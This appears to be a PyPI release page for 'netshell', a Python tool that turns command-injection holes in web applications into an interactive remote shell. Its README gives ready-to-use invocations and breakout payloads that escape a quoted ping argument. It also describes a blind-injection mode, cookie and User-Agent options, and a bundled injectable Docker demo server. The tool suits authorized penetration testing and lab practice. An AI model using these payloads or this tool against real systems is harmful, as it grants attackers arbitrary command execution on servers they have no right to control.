Skip to main content

Netshell

A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.

Installation

Install using pip:

pip install netshell

or manually by downloading the git repository:

git clone https://github.com/dubniczky/Netshell

Usage

Simple injection

The q query parameter of http://example.com/vln.php is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:

In this example the value of the q parameter is ran as a command.

httpshell -a http://example.com/vln.php -p q
Connection successful!

example.com > whoami
www-data

Breakout injection

If the value of the parameter is embedded into a command and have to break out, then the --prefix, --suffix parameters define a stable environment for the shell. For example with the ping command:

ping -c '{IP_PARAMETER_INSERTED_HERE}'

to break out, the command has to start with '; and end with #:

ping -c '' whoami #'

I recommend testing this manually using a tool such as curl with a simple command like whoami, then starting netshell with the prefix and suffix set.

⚠️ Please note that the values in the --prefix and --suffix fields are also URL encoded if URL encoding is not disabled. If you are encoding it manually, you can use this tool: https://convert.dubniczky.com/?from=text&to=url

netshell -a http://example.com/ping.php -p ip -P "';" -S " #"

Reference

Use httpshell --help for all flags and options.

Command line options:

  • -h, --help - show this help message and exit
  • --address, -a ADDRESS Target address containing the full path. E.g., http://example.com/vulnerable.php
  • --parameter, -p PARAMETER Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
  • --cookies, -c COOKIES Use cookies for the request
  • --agent AGENT Set a custom User-Agent header for the requests
  • --prefix, -P PREFIX Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
  • --suffix, -S SUFFIX Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
  • --blind, -b Enable blind command execution (no output returned). The preflight checks will be adapted to detect blind command execution based on response times.
  • --verbose, -v Verbose output
  • --no-url-encode Disable URL encoding of commands
  • --no-preflight Skip preflight checks and go straight to the shell interface

Testing

Demo Server

The /test folder contains a simple injectable web server that can be started using Docker Compose.

cd test
docker compose up --build

There are several endpoints for testing different capabilities of the application. The following section contains an example for each.

The injectable point is at /direct path with the p query parameter, so http://localhost:8000/direct?p=whoami. It runs the command as given without having to escape another command.

netshell -a http://localhost:8000/direct -p p

A breakout injection point with the ping command ping -c 1 '<p>' is on the /escape. Requires escaping from the ping command's ' delimited string.

netshell -a http://localhost:8000/escape -p p -P "';" -S " #"

A blind command injection point inside an echo command echo "<p>". Have to break out of the echo and use blind mode to run commands.

netshell -a http://127.0.0.1:8000/blind -p p --blind -P "\";" -S " #"

An invalid path that does not allow for injection. should result in an error in both normal and blind operation.

netshell -a http://127.0.0.1:8000/invalid -p p

Local Setup

Set up a local Python environment and install packages.

python -m venv .venv
source ./.venv/bin/activate
pip install -r requirements.txt

Activate a temporary alias for simple command usage

source alias.sh

From this point the dev version can be called using

devnetshell ...

The local demo server is available on http://localhost:8000, unless rebound to an other port.

Release files for netshell 1.2.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for netshell 1.2.0
File Size Uploaded
netshell-1.2.0.tar.gz 8.7 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for netshell 1.2.0
File Interpreter ABI Platform
netshell-1.2.0-py3-none-any.whl Python 3 none any Details

Total release size: 17.5 kB

Release files / netshell-1.2.0.tar.gz

Download URL netshell-1.2.0.tar.gz
Size 8.7 kB
Tags Source
SHA-256 checksum
How to use checksums
10240271229d5fb14fadde490925c027d69ebbaf0e4e76ae688115c4e50bd08d
BLAKE2b-256 checksum
How to use checksums
2324790c3762040cf4fd1f528b83217133333cdf06040682afac6a611a9a26cd
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.12

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on May 17, 2026.

Transparency log

Release files / netshell-1.2.0-py3-none-any.whl

Download URL netshell-1.2.0-py3-none-any.whl
Size 8.8 kB
Tags Python 3
SHA-256 checksum
How to use checksums
a4dc6fccfa4240649e7cbb96b4389fe7e2cf01c06cb7d926ab99b51383bbb00f
BLAKE2b-256 checksum
How to use checksums
b1ccaf63578982de20d14e07b5bd476a21317c5323c1be907127e326f9a704b7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.12

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on May 17, 2026.

Transparency log

Release history Release notifications | RSS feed

This release

1.2.0 This release

2 release files

1.1.1

2 release files

1.1.0

2 release files

1.0.1

2 release files

1.0.0

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page